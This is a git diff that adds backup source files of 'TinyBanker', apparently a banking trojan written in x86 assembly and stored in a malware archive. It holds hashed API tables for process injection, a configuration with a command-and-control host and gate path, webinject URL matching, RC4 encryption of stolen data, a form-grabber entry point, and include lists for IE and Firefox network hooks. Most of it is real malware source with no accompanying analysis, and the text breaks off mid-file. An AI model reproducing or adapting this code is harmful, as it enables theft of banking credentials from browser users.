0BB094F7Bh + + + + ;; ws2_32 + _WSAStartup dd 0, 0F1AED070h + _inet_addr dd 0, 02A51A274h + _gethostbyname dd 0, 03718CB58h + _socket dd 0, 000222B6Bh + _connect dd 0, 000D2E20Ah + _send dd 0, 00000B0D0h + _recv dd 0, 00000AF3Eh + _closesocket dd 0, 0B33E156Bh + + + ;; wininet + _HttpAddRequestHeadersA dd 0, 003F21E69h + _HttpAddRequestHeadersW dd 0, 003F21E7Fh + _HttpQueryInfoA dd 0, 0C542F043h + _InternetQueryOptionA dd 0, 0312DDA65h + _InternetGetCookieA dd 0, 04C581F48h + + _InternetSetStatusCallback dd 0, 0C3F003F0h + _InternetReadFileExA dd 0, 0CA699E5Bh + _HttpSendRequestA dd 0, 0AF43415Ah + _HttpSendRequestW dd 0, 0AF434170h + _InternetReadFile dd 0, 0F268CC2Bh + _InternetQueryDataAvailable dd 0, 09450A760h + _HttpSendRequestExW dd 0, 08BDF869Dh + _InternetWriteFile dd 0, 0A34C2E52h + _HttpEndRequestA dd 0, 087F01B75h + _InternetCloseHandle dd 0, 0E46D3CDFh + + + ;; nspr4 & chrome + _PR_Write dd 0, 0049CBEFAh + _PR_Read dd 0, 000A8A40Bh + _PR_Close dd 0, 0049BFC7Bh + +;; API Hashes table end + dd 0, 0 + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/APITable(3).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/APITable(3).inc new file mode 100644 index 0000000..bb5ab59 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/APITable(3).inc @@ -0,0 +1,90 @@ + +.code + +@_API_Hashes_table: +;; API Hashes table start + + ;; kernel32 + _LoadLibraryA dd 0, 05A575AE4h + _GetModuleHandleA dd 0, 0C02BD427h + + _CreateToolhelp32Snapshot dd 0, 03B2EFF48h + _Process32First dd 0, 0D2F49D5Ah + _Process32Next dd 0, 0B06C2089h + _OpenProcess dd 0, 0684C0A05h + + + _CreateFileA dd 0, 0A2A93BE9h + _GetFileSize dd 0, 0CA80AE13h + _SetFilePointer dd 0, 006D09387h + _ReadFile dd 0, 004D8BEBAh + _WriteFile dd 0, 0245BD03Bh + + _CreateRemoteThread dd 0, 03E01E6ACh + _CreateThread dd 0, 072A43A6Eh + _ExitProcess dd 0, 0D4D6F7A1h + + _VirtualAlloc dd 0, 0C03EE45Ah + _VirtualAllocEx dd 0, 0CC09B795h + _VirtualProtect dd 0, 0CC265304h + _VirtualProtectEx dd 0, 01355E61Fh + _VirtualFree dd 0, 0D252282Fh + _VirtualFreeEx dd 0, 041B9B35Ah + _WriteProcessMemory dd 0, 0894852D9h + + _lstrcmpiA dd 0, 02BB2FD91h + _lstrlenA dd 0, 0063E2E81h + + _CloseHandle dd 0, 0986B3A78h + _GetCurrentProcessId dd 0, 01547C797h + _WinExec dd 0, 000BB9A05h + _Sleep dd 0, 00003B1AFh + _ExitThread dd 0, 0D543F4F0h + + + + ;; ntdll + _RtlAdjustPrivilege dd 0, 0EFD3AA98h + _RtlGetLastWin32Error dd 0, 0FEC76D6Fh + _RtlSetLastWin32Error dd 0, 0BB094F7Bh + + + + ;; ws2_32 + _WSAStartup dd 0, 0F1AED070h + _inet_addr dd 0, 02A51A274h + _gethostbyname dd 0, 03718CB58h + _socket dd 0, 000222B6Bh + _connect dd 0, 000D2E20Ah + _send dd 0, 00000B0D0h + _recv dd 0, 00000AF3Eh + _closesocket dd 0, 0B33E156Bh + + + ;; wininet + _HttpAddRequestHeadersA dd 0, 003F21E69h + _HttpAddRequestHeadersW dd 0, 003F21E7Fh + _HttpQueryInfoA dd 0, 0C542F043h + _InternetQueryOptionA dd 0, 0312DDA65h + _InternetGetCookieA dd 0, 04C581F48h + + _InternetSetStatusCallback dd 0, 0C3F003F0h + _InternetReadFileExA dd 0, 0CA699E5Bh + _HttpSendRequestA dd 0, 0AF43415Ah + _HttpSendRequestW dd 0, 0AF434170h + _InternetReadFile dd 0, 0F268CC2Bh + _InternetQueryDataAvailable dd 0, 09450A760h + _HttpSendRequestExW dd 0, 08BDF869Dh + _InternetWriteFile dd 0, 0A34C2E52h + _HttpEndRequestA dd 0, 087F01B75h + _InternetCloseHandle dd 0, 0E46D3CDFh + + + ;; nspr4 & chrome + _PR_Write dd 0, 0049CBEFAh + _PR_Read dd 0, 000A8A40Bh + _PR_Close dd 0, 0049BFC7Bh + +;; API Hashes table end + dd 0, 0 + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/CONFIG(1).ASM b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/CONFIG(1).ASM new file mode 100644 index 0000000..e253214 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/CONFIG(1).ASM @@ -0,0 +1,20 @@ + +.code + +;; ==================================================================================================== ;; +;; ;; +;; ==================================================================================================== ;; + + ;; Constants + ARRAYLEN equ 1024 + KBYTE equ 1024 + MBYTE equ 1024*KBYTE + BUFFERLEN equ 2*MBYTE + RESERVE equ 128*KBYTE + + + + HTTP_REQUEST equ 1 + HTTPS_REQUEST equ 2 + INJECT_GRABBED equ 3 + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/CONFIG(2).ASM b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/CONFIG(2).ASM new file mode 100644 index 0000000..78daf74 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/CONFIG(2).ASM @@ -0,0 +1,34 @@ + +.code + +;; ==================================================================================================== ;; +;; ;; +;; ==================================================================================================== ;; + + ;; Constants + ARRAYLEN equ 1024 + KBYTE equ 1024 + MBYTE equ 1024*KBYTE + BUFFERLEN equ 2*MBYTE + RESERVE equ 128*KBYTE + + + + HTTP_REQUEST equ 1 + HTTPS_REQUEST equ 2 + INJECT_GRABBED equ 3 + + + + szHostName db "mecrob.cc",0 + sResource db "/bot/gate.php" + + + sPassword db "default_password" + + + sBotNET db "default" + sSupplier db "loadscc" + + + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(1).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(1).inc new file mode 100644 index 0000000..c324d78 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(1).inc @@ -0,0 +1,60 @@ + +.code + +;; ==================================================================================================== ;; +;; Compare - ;; +;; __in lpBrief - stored connection data & its len (in 1-st dword) ;; +;; __in lpUrlOpt - pointer to url and options ;; +;; __in dwLen - len of url and options ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to options ;; +;; ecx - len of options ;; +;; ==================================================================================================== ;; +Compare1 proc uses edx edi esi lpBrief, lpUrlOpt, dwLen : dword + + ;; url & options + invokx &StrIPos[ebx], lpUrlOpt, dwLen, "\n", 1 + jmpz eax, @ret + mov ecx, eax ;; end of set_url string + + + sub eax, lpUrlOpt ;; len of url & opt + invokx &StrIPos[ebx], lpUrlOpt, eax, " ", 1 + jmpz eax, @ret + mov edi, eax ;; options ptr + + + ;; brief + mov esi, lpBrief + lodsd ;; data len + invokx &StrIPos[ebx], esi, eax, "\r\n", 2 + jmpz eax, @ret + mov edx, eax ;; end of string + + + sub eax, esi ;; size of string + invokx &StrIPos[ebx], esi, eax, " ", 1 + jmpz eax, @ret + + + inc eax ;; url ptr + sub edx, eax ;; url len + + + ;; Compare URL + mov dwLen, edi + sub edi, lpUrlOpt + invokx &StrIMaskMatch[ebx], eax, edx, lpUrlOpt, edi + jmpz eax, @ret + + + ;; Compare method + sub ecx, dwLen + invokx &StrIPos[ebx], dwLen, ecx, esi, 1 + + +@ret: + ret +Compare1 endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(2).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(2).inc new file mode 100644 index 0000000..3cb5a3e --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(2).inc @@ -0,0 +1,60 @@ + +.code + +;; ==================================================================================================== ;; +;; Compare - ;; +;; __in lpBrief - stored connection data & its len (in 1-st dword) ;; +;; __in lpUrlOpt - pointer to url and options ;; +;; __in dwLen - len of url and options ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to options ;; +;; ecx - len of options ;; +;; ==================================================================================================== ;; +Compare proc uses edx edi esi lpBrief, lpUrlOpt, dwLen : dword + + ;; url & options + invokx &StrIPos[ebx], lpUrlOpt, dwLen, "\n", 1 + jmpz eax, @ret + mov ecx, eax ;; end of set_url string + + + sub eax, lpUrlOpt ;; len of url & opt + invokx &StrIPos[ebx], lpUrlOpt, eax, " ", 1 + jmpz eax, @ret + mov edi, eax ;; options ptr + + + ;; brief + mov esi, lpBrief + lodsd ;; data len + invokx &StrIPos[ebx], esi, eax, "\r\n", 2 + jmpz eax, @ret + mov edx, eax ;; end of string + + + sub eax, esi ;; size of string + invokx &StrIPos[ebx], esi, eax, " ", 1 + jmpz eax, @ret + + + inc eax ;; url ptr + sub edx, eax ;; url len + + + ;; Compare URL + mov dwLen, edi + sub edi, lpUrlOpt + invokx &StrIMaskMatch[ebx], eax, edx, lpUrlOpt, edi + jmpz eax, @ret + + + ;; Compare method + sub ecx, dwLen + invokx &StrIPos[ebx], dwLen, ecx, esi, 1 + + +@ret: + ret +Compare endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(3).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(3).inc new file mode 100644 index 0000000..c324d78 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(3).inc @@ -0,0 +1,60 @@ + +.code + +;; ==================================================================================================== ;; +;; Compare - ;; +;; __in lpBrief - stored connection data & its len (in 1-st dword) ;; +;; __in lpUrlOpt - pointer to url and options ;; +;; __in dwLen - len of url and options ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to options ;; +;; ecx - len of options ;; +;; ==================================================================================================== ;; +Compare1 proc uses edx edi esi lpBrief, lpUrlOpt, dwLen : dword + + ;; url & options + invokx &StrIPos[ebx], lpUrlOpt, dwLen, "\n", 1 + jmpz eax, @ret + mov ecx, eax ;; end of set_url string + + + sub eax, lpUrlOpt ;; len of url & opt + invokx &StrIPos[ebx], lpUrlOpt, eax, " ", 1 + jmpz eax, @ret + mov edi, eax ;; options ptr + + + ;; brief + mov esi, lpBrief + lodsd ;; data len + invokx &StrIPos[ebx], esi, eax, "\r\n", 2 + jmpz eax, @ret + mov edx, eax ;; end of string + + + sub eax, esi ;; size of string + invokx &StrIPos[ebx], esi, eax, " ", 1 + jmpz eax, @ret + + + inc eax ;; url ptr + sub edx, eax ;; url len + + + ;; Compare URL + mov dwLen, edi + sub edi, lpUrlOpt + invokx &StrIMaskMatch[ebx], eax, edx, lpUrlOpt, edi + jmpz eax, @ret + + + ;; Compare method + sub ecx, dwLen + invokx &StrIPos[ebx], dwLen, ecx, esi, 1 + + +@ret: + ret +Compare1 endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(4).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(4).inc new file mode 100644 index 0000000..c324d78 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(4).inc @@ -0,0 +1,60 @@ + +.code + +;; ==================================================================================================== ;; +;; Compare - ;; +;; __in lpBrief - stored connection data & its len (in 1-st dword) ;; +;; __in lpUrlOpt - pointer to url and options ;; +;; __in dwLen - len of url and options ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to options ;; +;; ecx - len of options ;; +;; ==================================================================================================== ;; +Compare1 proc uses edx edi esi lpBrief, lpUrlOpt, dwLen : dword + + ;; url & options + invokx &StrIPos[ebx], lpUrlOpt, dwLen, "\n", 1 + jmpz eax, @ret + mov ecx, eax ;; end of set_url string + + + sub eax, lpUrlOpt ;; len of url & opt + invokx &StrIPos[ebx], lpUrlOpt, eax, " ", 1 + jmpz eax, @ret + mov edi, eax ;; options ptr + + + ;; brief + mov esi, lpBrief + lodsd ;; data len + invokx &StrIPos[ebx], esi, eax, "\r\n", 2 + jmpz eax, @ret + mov edx, eax ;; end of string + + + sub eax, esi ;; size of string + invokx &StrIPos[ebx], esi, eax, " ", 1 + jmpz eax, @ret + + + inc eax ;; url ptr + sub edx, eax ;; url len + + + ;; Compare URL + mov dwLen, edi + sub edi, lpUrlOpt + invokx &StrIMaskMatch[ebx], eax, edx, lpUrlOpt, edi + jmpz eax, @ret + + + ;; Compare method + sub ecx, dwLen + invokx &StrIPos[ebx], dwLen, ecx, esi, 1 + + +@ret: + ret +Compare1 endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(5).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(5).inc new file mode 100644 index 0000000..7860a68 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(5).inc @@ -0,0 +1,60 @@ + +.code + +;; ==================================================================================================== ;; +;; Compare - ;; +;; __in lpBrief - stored connection data & its len (in 1-st dword) ;; +;; __in lpUrlOpt - pointer to url and options ;; +;; __in dwLen - len of url and options ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to options ;; +;; ecx - len of options ;; +;; ==================================================================================================== ;; +Compare1 proc uses edx edi esi lpBrief, lpUrlOpt, dwLen : dword + + ;; url & options + invokx &StrIPos[ebx], lpUrlOpt, dwLen, "\r\n", 2 + jmpz eax, @ret + mov ecx, eax ;; end of set_url string + + + sub eax, lpUrlOpt ;; len of url & opt + invokx &StrIPos[ebx], lpUrlOpt, eax, " ", 1 + jmpz eax, @ret + mov edi, eax ;; options ptr + + + ;; brief + mov esi, lpBrief + lodsd ;; data len + invokx &StrIPos[ebx], esi, eax, "\r\n", 2 + jmpz eax, @ret + mov edx, eax ;; end of string + + + sub eax, esi ;; size of string + invokx &StrIPos[ebx], esi, eax, " ", 1 + jmpz eax, @ret + + + inc eax ;; url ptr + sub edx, eax ;; url len + + + ;; Compare URL + mov dwLen, edi + sub edi, lpUrlOpt + invokx &StrIMaskMatch[ebx], eax, edx, lpUrlOpt, edi + jmpz eax, @ret + + + ;; Compare method + sub ecx, dwLen + invokx &StrIPos[ebx], dwLen, ecx, esi, 1 + + +@ret: + ret +Compare1 endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(6).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(6).inc new file mode 100644 index 0000000..daa8555 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Compare(6).inc @@ -0,0 +1,60 @@ + +.code + +;; ==================================================================================================== ;; +;; Compare - ;; +;; __in lpBrief - stored connection data & its len (in 1-st dword) ;; +;; __in lpUrlOpt - pointer to url and options ;; +;; __in dwLen - len of url and options ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to options ;; +;; ecx - len of options ;; +;; ==================================================================================================== ;; +Compare proc uses edx edi esi lpBrief, lpUrlOpt, dwLen : dword + + ;; url & options + invokx &StrIPos[ebx], lpUrlOpt, dwLen, "\r\n", 2 + jmpz eax, @ret + mov ecx, eax ;; end of set_url string + + + sub eax, lpUrlOpt ;; len of url & opt + invokx &StrIPos[ebx], lpUrlOpt, eax, " ", 1 + jmpz eax, @ret + mov edi, eax ;; options ptr + + + ;; brief + mov esi, lpBrief + lodsd ;; data len + invokx &StrIPos[ebx], esi, eax, "\r\n", 2 + jmpz eax, @ret + mov edx, eax ;; end of string + + + sub eax, esi ;; size of string + invokx &StrIPos[ebx], esi, eax, " ", 1 + jmpz eax, @ret + + + inc eax ;; url ptr + sub edx, eax ;; url len + + + ;; Compare URL + mov dwLen, edi + sub edi, lpUrlOpt + invokx &StrIMaskMatch[ebx], eax, edx, lpUrlOpt, edi + jmpz eax, @ret + + + ;; Compare method + sub ecx, dwLen + invokx &StrIPos[ebx], dwLen, ecx, esi, 1 + + +@ret: + ret +Compare endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Crypt(1).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Crypt(1).inc new file mode 100644 index 0000000..dc39c14 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Crypt(1).inc @@ -0,0 +1,22 @@ + +.code + +;; ==================================================================================================== ;; +;; Crypt ;; +;; ==================================================================================================== ;; +Crypt1 proc lpData, dwLen : dword + local dwlpKeyTable : dword + + + + invokx _VirtualAlloc[ebx], 0, 256, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE + mov dwlpKeyTable, eax + + invokx &RC4SetKey[ebx], dwlpKeyTable, &sPassword[ebx], sizeof sPassword + invokx &RC4Crypt[ebx], dwlpKeyTable, lpData, dwLen + + invokx _VirtualFree[ebx], dwlpKeyTable, 0, MEM_RELEASE + + ret +Crypt1 endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Crypt(2).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Crypt(2).inc new file mode 100644 index 0000000..7424c3f --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/Crypt(2).inc @@ -0,0 +1,22 @@ + +.code + +;; ==================================================================================================== ;; +;; Crypt ;; +;; ==================================================================================================== ;; +Crypt proc lpData, dwLen : dword + local dwlpKeyTable : dword + + + + invokx _VirtualAlloc[ebx], 0, 256, MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE + mov dwlpKeyTable, eax + + invokx &RC4SetKey[ebx], dwlpKeyTable, &sPassword[ebx], sizeof sPassword + invokx &RC4Crypt[ebx], dwlpKeyTable, lpData, dwLen + + invokx _VirtualFree[ebx], dwlpKeyTable, 0, MEM_RELEASE + + ret +Crypt endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/FORMGRAB(1).ASM b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/FORMGRAB(1).ASM new file mode 100644 index 0000000..97c2b62 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/FORMGRAB(1).ASM @@ -0,0 +1,33 @@ +.686 +.model flat, stdcall +option casemap : none + +; DEBUGMODE = 1 + + include INCLUDES.ASM + + +.code + +;; ==================================================================================================== ;; +;; NORMAL_START - program entry point ;; +;; ==================================================================================================== ;; +NORMAL_START proc + +; invokx WinExec, 'C:\Program Files\Internet Explorer\iexplore.exe', SW_SHOW + invokx WinExec, 'C:\Program Files\Mozilla Firefox\firefox.exe', SW_SHOW +; invokx WinExec, 'C:\Documents and Settings\NB\Local Settings\Application Data\Google\Chrome\Application\chrome.exe', SW_SHOW + invoke Sleep, 2000 + + xor ebx, ebx + + invoke RestoreAPIs + +; invoke Install + + invoke EnumProcs + + invokx _ExitProcess, 0 +NORMAL_START endp +end NORMAL_START + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/FORMGRAB(2).ASM b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/FORMGRAB(2).ASM new file mode 100644 index 0000000..a39ddaf --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/FORMGRAB(2).ASM @@ -0,0 +1,33 @@ +.686 +.model flat, stdcall +option casemap : none + +; DEBUGMODE = 1 + + include INCLUDES.ASM + + +.code + +;; ==================================================================================================== ;; +;; NORMAL_START - program entry point ;; +;; ==================================================================================================== ;; +NORMAL_START proc + +; invokx WinExec, 'C:\Program Files\Internet Explorer\iexplore.exe', SW_SHOW +; invokx WinExec, 'C:\Program Files\Mozilla Firefox\firefox.exe', SW_SHOW +; invokx WinExec, 'C:\Documents and Settings\NB\Local Settings\Application Data\Google\Chrome\Application\chrome.exe', SW_SHOW +; invoke Sleep, 2000 + + xor ebx, ebx + + invoke RestoreAPIs + +; invoke Install + + invoke EnumProcs + + invokx _ExitProcess, 0 +NORMAL_START endp +end NORMAL_START + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/GetInject(1).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/GetInject(1).inc new file mode 100644 index 0000000..1e6d100 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/GetInject(1).inc @@ -0,0 +1,44 @@ + +.code + +;; ==================================================================================================== ;; +;; GetInject - ;; +;; __in dwHandle - stored connection handle ;; +;; __in lpInjPtr - pointer in webinjects data search from ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to options ;; +;; ecx - len of options ;; +;; ==================================================================================================== ;; +GetInject1 proc uses edx edi esi dwHandle, lpInjPtr : dword + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], dwHandle + jmpz eax, @ret ;; no stored connections for this handle + mov edx, [eax+4] ;; ptr to connection brief + + + mov esi, lpWebInjectsData[ebx] + lodsd + mov edi, lpInjPtr + jmpnz edi, @F + mov edi, esi +@@: add esi, eax ;; end ptr + + +@nextseturl: + mov eax, esi + sub eax, edi ;; len + invokx &StrIPos[ebx], edi, eax, "\nset_url ", 9 + jmpz eax, @ret + lea edi, [eax+9] ;; url mask ptr + + + mov eax, esi + sub eax, edi ;; len + invokx &Compare[ebx], edx, edi, eax + jmpz eax, @nextseturl + +@ret: + ret +GetInject1 endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/GetInject(2).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/GetInject(2).inc new file mode 100644 index 0000000..f5da49b --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/GetInject(2).inc @@ -0,0 +1,44 @@ + +.code + +;; ==================================================================================================== ;; +;; GetInject - ;; +;; __in dwHandle - stored connection handle ;; +;; __in lpInjPtr - pointer in webinjects data search from ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to options ;; +;; ecx - len of options ;; +;; ==================================================================================================== ;; +GetInject proc uses edx edi esi dwHandle, lpInjPtr : dword + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], dwHandle + jmpz eax, @ret ;; no stored connections for this handle + mov edx, [eax+4] ;; ptr to connection brief + + + mov esi, lpWebInjectsData[ebx] + lodsd + mov edi, lpInjPtr + jmpnz edi, @F + mov edi, esi +@@: add esi, eax ;; end ptr + + +@nextseturl: + mov eax, esi + sub eax, edi ;; len + invokx &StrIPos[ebx], edi, eax, "\nset_url ", 9 + jmpz eax, @ret + lea edi, [eax+9] ;; url mask ptr + + + mov eax, esi + sub eax, edi ;; len + invokx &Compare[ebx], edx, edi, eax + jmpz eax, @nextseturl + +@ret: + ret +GetInject endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/GetInject(3).inc b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/GetInject(3).inc new file mode 100644 index 0000000..37ddd0a --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/GetInject(3).inc @@ -0,0 +1,44 @@ + +.code + +;; ==================================================================================================== ;; +;; GetInject - ;; +;; __in dwHandle - stored connection handle ;; +;; __in lpInjPtr - pointer in webinjects data search from ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; eax - pointer to options ;; +;; ecx - len of options ;; +;; ==================================================================================================== ;; +GetInject proc uses edx edi esi dwHandle, lpInjPtr : dword + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], dwHandle + jmpz eax, @ret ;; no stored connections for this handle + mov edx, [eax+4] ;; ptr to connection brief + + + mov esi, lpWebInjectsData[ebx] + lodsd + mov edi, lpInjPtr + jmpnz edi, @F + mov edi, esi +@@: add esi, eax ;; end ptr + + +@nextseturl: + mov eax, esi + sub eax, edi ;; len + invokx &StrIPos[ebx], edi, eax, "\r\nset_url ", 10 + jmpz eax, @ret + lea edi, [eax+10] ;; url mask ptr + + + mov eax, esi + sub eax, edi ;; len + invokx &Compare[ebx], edx, edi, eax + jmpz eax, @nextseturl + +@ret: + ret +GetInject endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INCLUDES(1).ASM b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INCLUDES(1).ASM new file mode 100644 index 0000000..9abcf5d --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INCLUDES(1).ASM @@ -0,0 +1,86 @@ + +.code + +;; ==================================================================================================== ;; +;; ;; +;; ==================================================================================================== ;; + + include windows.inc + + include kernel32.inc + include advapi32.inc + include user32.inc + includelib kernel32.lib + includelib advapi32.lib + includelib user32.lib + + include macro.inc + + +@CODE_START: + + ifdef DEBUGMODE + include DEBUG.ASM + endif + + + include INJECTED.ASM + include API\APITable.inc + include API\RestoreAPIs.inc + include API\Catchy32.inc + include API\HookAPI.inc +; include Install\Install.inc + include Install\GlobalInject.inc + + + include Func\Array.inc + include Func\FileRead.inc + + include Init\InitArr.inc + include Init\InitCfg.inc + include Init\InitHooks.inc + + include Logs\InLog.inc + include Logs\Notify.inc + include Crypt\Crypt.inc + include Crypt\rc4.inc + + include Strings\atodw.inc + include Strings\dwtoa.inc + include Strings\dwtoh.inc + include Strings\htodw.inc +; include Strings\ltrim.inc + include Strings\strcpyn.inc + include Strings\StrIPos.inc + include Strings\StrIPosEx.inc + include Strings\StrIMaskMatch.inc + + include TrCntrl\Compare.inc + include TrCntrl\GetInject.inc + include TrCntrl\IsGrabTerm.inc + include TrCntrl\WebInject.inc + + include TrCntrl\IE\GrabIEHeaders.inc + include TrCntrl\IE\InternetStatusCallback.inc + include TrCntrl\IE\hInternetCloseHandle.inc + include TrCntrl\IE\hHttpSendRequestW.inc + include TrCntrl\IE\hInternetQueryDataAvailable.inc + include TrCntrl\IE\hInternetReadFile.inc + include TrCntrl\IE\hHttpQueryInfoA.inc +; include TrCntrl\IE\hInternetReadFileExA.inc +; include TrCntrl\IE\hHttpSendRequestExW.inc +; include TrCntrl\IE\hInternetWriteFile.inc +; include TrCntrl\IE\hHttpEndRequestA.inc + + include TrCntrl\FF\CheckEOF.inc + include TrCntrl\FF\FFWebInject.inc + include TrCntrl\FF\FixHeaders.inc + include TrCntrl\FF\FixChunk.inc + include TrCntrl\FF\FixLen.inc + include TrCntrl\FF\GrabBrief.inc + include TrCntrl\FF\hPR_Write.inc + include TrCntrl\FF\hPR_Read.inc + include TrCntrl\FF\hPR_Close.inc + +@CODE_END: + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INCLUDES(2).ASM b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INCLUDES(2).ASM new file mode 100644 index 0000000..746d3da --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INCLUDES(2).ASM @@ -0,0 +1,87 @@ + +.code + +;; ==================================================================================================== ;; +;; ;; +;; ==================================================================================================== ;; + + include windows.inc + + include kernel32.inc + include advapi32.inc + include user32.inc + includelib kernel32.lib + includelib advapi32.lib + includelib user32.lib + + include macro.inc + + +@CODE_START: + + ifdef DEBUGMODE + include DEBUG.ASM + endif + + + include INJECTED.ASM + include API\APITable.inc + include API\RestoreAPIs.inc +; include Install\Install.inc + include Install\GlobalInject.inc + + + include API\Catchy32.inc + include API\HookAPI.inc + + include Func\Array.inc + include Func\FileRead.inc + + include Init\InitArr.inc + include Init\InitCfg.inc + include Init\InitHooks.inc + + include Logs\InLog.inc + include Logs\Notify.inc + include Crypt\Crypt.inc + include Crypt\rc4.inc + + include Strings\atodw.inc + include Strings\dwtoa.inc + include Strings\dwtoh.inc + include Strings\htodw.inc +; include Strings\ltrim.inc + include Strings\strcpyn.inc + include Strings\StrIPos.inc + include Strings\StrIPosEx.inc + include Strings\StrIMaskMatch.inc + + include TrCntrl\Compare.inc + include TrCntrl\GetInject.inc + include TrCntrl\IsGrabTerm.inc + include TrCntrl\WebInject.inc + + include TrCntrl\IE\GrabIEHeaders.inc + include TrCntrl\IE\InternetStatusCallback.inc + include TrCntrl\IE\hInternetCloseHandle.inc + include TrCntrl\IE\hHttpSendRequestW.inc + include TrCntrl\IE\hInternetQueryDataAvailable.inc + include TrCntrl\IE\hInternetReadFile.inc + include TrCntrl\IE\hHttpQueryInfoA.inc +; include TrCntrl\IE\hInternetReadFileExA.inc +; include TrCntrl\IE\hHttpSendRequestExW.inc +; include TrCntrl\IE\hInternetWriteFile.inc +; include TrCntrl\IE\hHttpEndRequestA.inc + + include TrCntrl\FF\CheckEOF.inc + include TrCntrl\FF\FFWebInject.inc + include TrCntrl\FF\FixHeaders.inc + include TrCntrl\FF\FixChunk.inc + include TrCntrl\FF\FixLen.inc + include TrCntrl\FF\GrabBrief.inc + include TrCntrl\FF\hPR_Write.inc + include TrCntrl\FF\hPR_Read.inc + include TrCntrl\FF\hPR_Close.inc + +@CODE_END: + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INCLUDES(3).ASM b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INCLUDES(3).ASM new file mode 100644 index 0000000..551c113 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/Bak/INCLUDES(3).ASM @@ -0,0 +1,87 @@ + +.code + +;; ==================================================================================================== ;; +;; ;; +;; ==================================================================================================== ;; + + include windows.inc + + include kernel32.inc + include advapi32.inc + include user32.inc + includelib kernel32.lib + includelib advapi32.lib + includelib user32.lib + + include macro.inc + + +@CODE_START: + + ifdef DEBUGMODE + include DEBUG.ASM + endif + + + include INJECTED.ASM + +; include Install\Install.inc + include Install\GlobalInject.inc + + include API\APITable.inc + include API\RestoreAPIs.inc + include API\Catchy32.inc + include API\HookAPI.inc + + include Func\Array.inc + include Func\FileRead.inc + + include 